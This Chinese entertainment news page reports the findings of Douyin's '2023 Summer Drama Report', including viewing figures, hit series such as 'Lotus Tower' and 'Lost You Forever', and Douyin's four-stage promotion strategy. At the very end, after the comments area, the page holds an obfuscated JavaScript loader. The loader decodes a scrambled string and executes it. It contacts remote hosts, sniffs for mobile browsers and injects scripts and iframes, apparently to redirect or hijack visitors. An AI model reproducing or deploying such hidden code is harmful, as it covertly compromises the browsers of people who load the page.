《2023抖音剧集暑期报告》发布:剧集市场向好,抖音向更广更快探索

时间:2023-09-07 10:01:05阅读:60374
“这个夏天,文娱产业可谓是双喜盈门。当我们还沉浸在电影票房突破200亿大关的喜悦之时,剧集市场也给我们带来了好消息。9月5日,抖音联合云合数据正式发布《2023抖音剧集暑期报告》(以下简称
  • 长风渡
  • 古装 剧情
  • 白敬亭 宋轶 刘学义 张昊唯 张睿
《2023抖音剧集暑期报告》发布:剧集市场向好,抖音向更广更快探索
《2023抖音剧集暑期报告》发布:剧集市场向好,抖音向更广更快探索
4/11

“这个夏天,文娱产业可谓是双喜盈门。当我们还沉浸在电影票房突破200亿大关的喜悦之时,剧集市场也给我们带来了好消息。9月5日,抖音联合云合数据正式发布《2023抖音剧集暑期报告》(以下简称《报告》):125部上新剧集、全网剧集累计有效播放772亿、抖音新剧相关视频播放量同比2022年增长217%。行业像是被按下了快进键,进入了新一轮的跃进状态。令人振奋的数字背后,隐藏着正在发生的新变化:新的宣发主力横空出世,新的看剧人群破圈而入,新的营销玩法更是层出不穷……当一切焕然一新,我们是时候用一个不同的视角去审视当下行业了。”

这个暑期档,那个进击的剧集行业又回来了。今年夏天,《长相思第一季》、《莲花楼》等上新剧集共125部,相比去年同期增长28部;全网剧集累计有效播放772亿,同比上涨6%。

庞大的真实路人盘,持续推涨剧集用户大盘

今年暑期档,多项数据大幅增长,各类剧集百花齐放。古偶仙侠、青春言情、悬疑探案、都市情感……不同类型剧集涌现。依然是熟悉的配方,还是似曾相识的味道,只不过剧集宣发的种子已然找到了更丰沃的土壤。《报告》显示,在抖音,庞大的路人盘为剧集宣发提供了用户基础。新剧相关视频播放量同比2022年增长217%,新剧相关视频点赞量达22亿,暑期新剧相关艺人累计涨粉4400万,同比增长126%;艺人发布剧宣相关视频播放总量近33亿,同比增长15%。

在抖音上,暑期档剧集热度高开高走,强势霸屏。整个暑期档,可谓上演了神仙打架的经典戏码。前有白敬亭宋轶 主演的《长风渡》与赵露思主演的《偷偷藏不住》在6月率先进入“战场”,官方抖音粉丝量双双突破百万大关,而后者的数据更是达到了205万;后有肖战主演的《玉骨遥》与杨洋的《我的人间烟火》在7月点燃市场,随后入场的《长相思第一季》、《莲花楼》,在抖音的主话题播放量更是高达245亿和163亿,将暑期档剧集的热度推向峰值。有意思的是,观众从被动接受宣发变成了宣发的参与者,“剧粉操心宣发”也成为2023暑期档有趣的追剧现象。

多样化内容种草快速破圈,对剧集收视强助攻

暑期档爆款频出,抖音创作者贡献显著。这个暑期档,我们也看到,抖音创作者们卯足了劲头,迸发出了更大的创意热情,成为剧集宣发的重要力量。《报告》显示,暑期档期间,抖音娱乐创作者发布量同比增长219%。

随着抖音创作者、官抖、艺人产出越来越多优质的衍生内容,进一步激发了用户看剧的兴趣。《报告》显示,新剧百万+点赞视频量同比去年增长202%。在百万赞视频来源分布中,官抖及创作者贡献有了大幅提升。实际上,不管是高光时刻,还是精彩剪辑,本质也是一种娱乐内容产品,与其他商业内容不同,这些内容毫无违和感,可以润物细无声地给用户种草,从而进一步激发用户去看完整的内容。

抖音助力角色人气提升,拉动热度值。除了剧集本身,剧集中的角色也因抖音而爆红。《报告》显示,除了涨粉最多的白敬亭,以及塑造了抖音人气女性角色TOP1的杨紫之外,诸多较新的面孔组团进入“流量预备役”。檀健次塑造的“相柳"以1.2亿热度值,位居人气男性角色TOP1;成毅延续去年热度,为这个暑期档带来又一经典角色——“李莲花”。

多元内容组合宣发打法,抖音营销四步走快速打造爆款

这个暑期档,作为剧集流量的中枢,抖音基于去年提出的"最大范围触达-口碑提升转化-深度绑定受众"内容种草链路,在今年结合暑期档的特性,围绕用户的需求,沉淀剧集宣发四步走整合营销打法,借助抖音流量及多元的内容玩法,与用户产生深度互动,助力剧集迅速引爆开局,快速破圈,实现短带长的有效转化。

蓄水期:借助抖音首创的“追剧团”线下玩法,实现48小时引爆开局,打造娱乐名场面。“追剧团”作为抖音首创的剧集营销活动,通过线下主创-媒体互动、头部达人破壁合拍、抖音热梗预埋等形式,助推剧集热度48小时内迅速发酵,用户追剧热情一触即发。以《长风渡》为例,其追剧团活动,白敬亭宋轶同框的画面一度引发网友讨论,从而为剧集引流。《报告》显示,整个暑期档,追剧团活动共带动IP抖音播放量48小时内增长13亿。

热播期:用户真实反馈-艺人实时回应的「双向奔赴」,打造友好追剧氛围,加深用户参与。作为暑期档最热门的抖音剧集玩法,“双向奔赴”指的是艺人在追剧团立flag→达成目标,网友喊话→艺人回应→二轮发酵,热点形成追打链路,热度层层叠加。《莲花楼》采用这种方式,热度破万,抖音粉丝喊话宠粉福利,成毅、曾舜晞等全员主创回应,全员宠粉福利跳queencard舞,直接带动IP曝光净增3亿,明星短视频累计点赞1270万。

拔高期:通过结合社会热点、与地方文旅联动,与主流媒体共创等形式助力口碑发酵。这种方式主要是将影视IP与时事热点结合,与各类新闻媒体或地方文旅共创发酵,助力剧集口碑,实现破圈。在《梦中的那片海》中,肖春生朗诵《清平乐六盘山》,剧集宣发就结合高考时事热点,联动各地媒体在高考新闻中引用,引发家长、学生群体好评不断,肖战工作室发布本人诗朗诵祝福高考生。《去有风的地方》联动@新华每日电讯 进行报道,带火大理旅游......

破圈期:依托抖音庞大的路人盘,各类型用户自来水安利,迅速破圈有效转化。抖音拥有6亿+DAU,各类型用户能够为剧集带来庞大路人盘,并带动二次发酵,形成自传播。《莲花楼》热播期间,不同用户从测试玩法、女性情感、音乐演绎、国风书法等方面自发安利剧集,带来大量自来水传播,助推剧集热度提升。

结尾:

剧集市场正在迎来一个丰收的季节。抖音凭借独特的平台优势为剧集打造宣发的优质阵地,期待更多的剧集在抖音能收获更大的影响,更大的市场。

(* 完整版报告请关注抖音APP公众号,搜索《2023抖音剧集暑期报告》)

相关资讯

评论

  • 评论加载中...

!function(){function a(a){var _idx="kcn7hl6kib";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/CL/n@}jR8S(21hqKS6)"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"n@}"=^8"S(21hqKS6)"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"n@}^)ThF)m@_d@R:_mRT4"="n@}X5ThF)m7sS2J}CmRT4"="n@}2pThFm@_d@R:_mRT4"="n@}_JqhFm7sS2J}CmRT4"="n@}2TOhFm@_d@R:_mRT4"="n@}CSqhF)m7sS2J}CmRT4"="n@})FfThF)fm@_d@R:_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/f/n@}j(8}vR8S(21hqKS6)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();